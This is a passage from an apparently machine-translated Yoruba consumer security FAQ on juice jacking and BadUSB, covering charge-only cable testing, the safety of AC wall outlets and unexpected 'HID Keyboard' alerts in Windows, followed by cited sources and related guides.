Nitoripe awọn aṣelọpọ ṣọwọn tẹ awọn aami sita lori awọn kebulu ti n ṣe iyatọ awọn okun idiyele-nikan lati awọn okun data, idanwo ailewu ti o rọrun julọ ni lati pulọọgi okun laarin kọnputa kan ati ẹrọ atijọ ti kii ṣe pataki (tabi lo $ 10 okun USB inline pinout Board tester tester bi Treedix USB USB Tester, eyi ti o tan imọlẹ awọn LED kọọkan fun gbogbo okun waya inu laisi booting eyikeyi microcontroller). Lori igbimọ idanwo lilọsiwaju, otitọ kan Gba agbara-Nikan USB yoo tan imọlẹ nikan VBUS ati GND (Awọn LED 2), lakoko ti okun ti o lagbara data yoo tun tan ina D+ ati D- (ati CC1/TX/RX lori USB-C). Ni omiiran, tọju iyasọtọ ti ara USB Data Blocker alamuuṣẹ somọ titilai si ipari ti okun gbigba agbara irin-ajo rẹ nibiti o le wo ni ti ara inu ibudo abo ki o rii daju pẹlu oju tirẹ pe awọn pinni data aarin ti nsọnu.

Ṣe o jẹ ailewu lati pulọọgi okun gbigba agbara ti ara mi sinu iṣan agbara AC (2-prong / 3-prong ogiri iho) ni papa ọkọ ofurufu tabi hotẹẹli dipo ibudo USB ti a ṣe sinu?¶

Bẹẹni, 100 ogorun ailewu. Iwọn odi itanna 110V/230V AC kan (nibiti o ti ṣafọ sinu Apple tirẹ, Samsung, tabi biriki agbara Anker) nikan ni o gbe agbara itanna lọwọlọwọ ati pe o ni awọn asopọ data odo ti o lagbara lati ni ibaraẹnisọrọ pẹlu oluṣakoso USB ti foonu rẹ. Niwọn igba ti o ba lo biriki ohun ti nmu badọgba odi AC ti o gbẹkẹle ati okun USB ti o gbẹkẹle, Papa ọkọ ofurufu tabi hotẹẹli AC itanna iṣan ko le ṣe Juice Jacking tabi awọn ikọlu BadUSB.

Kilode ti Windows ṣe gbejade "Ṣiṣeto ẹrọ kan: Ẹrọ Bọtini HID" nigbati Mo ṣafọ sinu kọnputa filasi USB tabi ṣaja vape/e-siga?¶

Ri Windows han a tositi iwifunni kika "Ṣiṣeto ẹrọ kan: Ohun elo Keyboard HID" nigba ti o ba edidi ni nkankan ti o jẹ kii ṣe bọtini itẹwe (gẹgẹbi awakọ filasi USB, okun gbigba agbara, afẹfẹ tabili olowo poku, fireemu fọto oni nọmba kan, tabi ṣaja vape) jẹ ibon mimu mimu #1 ti ko ṣe akiyesi ti a BadUSB / HID Keystroke Abẹrẹ kolu. Ko si kọnputa filasi to tọ tabi okun gbigba agbara lailai nilo lati forukọsilẹ pẹlu Windows bi keyboard. Yọọ ẹrọ naa lẹsẹkẹsẹ, ge asopọ lati Wi-Fi, ki o si ṣiṣẹ PowerShell ṢiṣeMRU ati PSReadLine Awọn pipaṣẹ iṣayẹwo ni Ipele 2 lati wo iru aṣẹ wo ni kiiboodu iro ti tẹ.

Awọn orisun ṣayẹwo¶

• Federal Bureau of Investigation (FBI) & Federal Communications Commission (FCC) (Amẹrika): * Awọn ikede Iṣẹ ti gbogbo eniyan lori Awọn eewu Ibusọ gbigba agbara USB ti Gbogbo eniyan ("Juice Jacking") ati Awọn Ipilẹ Hardware Irira*.
• Ile-iṣẹ Aabo Orilẹ-ede (NSA& Cybersecurity ati Aabo Aabo amayederun (CISA) (Amẹrika): Ẹrọ Alagbeka Awọn iṣe ti o dara julọ: Rin irin-ajo lailewu pẹlu Awọn foonu alagbeka, Kọǹpútà alágbèéká, ati Awọn Agbeegbe USB.
• Ile-ẹkọ giga ti Imọ-ẹrọ Graz (TU Graz Ẹgbẹ Iwadi InfoSec): ChoiceJacking: Ibajẹ Awọn ẹrọ Alagbeka nipasẹ Awọn ṣaja irira nipasẹ Abẹrẹ HID USB (Apejọ Aabo USENIX).
• Itọsọna Aabo Platform Apple: * Ipo Ihamọ USB, Wiwọle Awọn ẹya ẹrọ Nigbati Titiipa, ati MacOS Apple Silicon USB/Thunderbolt Ohun elo Aṣẹ Faaji *.
• Apejọ Awọn imuṣe USB (USB-IF): * Ijeri Iru-C USB, Ifijiṣẹ Agbara (USB PD), ati Ẹrọ Atọka Eniyan (HID Kilasi 0x03) Awọn pato *.

Jẹmọ awọn itọsọna¶

• Wi-Fi ti gbogbo eniyan, awọn aaye ibi Twin buburu, ati aabo jacking oje
• Jija kuki igba, infostealer malware, ati ifagile àmi
• Stalkerware, spyware, ati wiwa keylogger lori awọn foonu
• Malware, ransomware, ati akoran spyware
• Aṣiri koodu QR (quishing) ati awọn àtúnjúwe irira
• Awọn nọmba pajawiri nipasẹ orilẹ-ede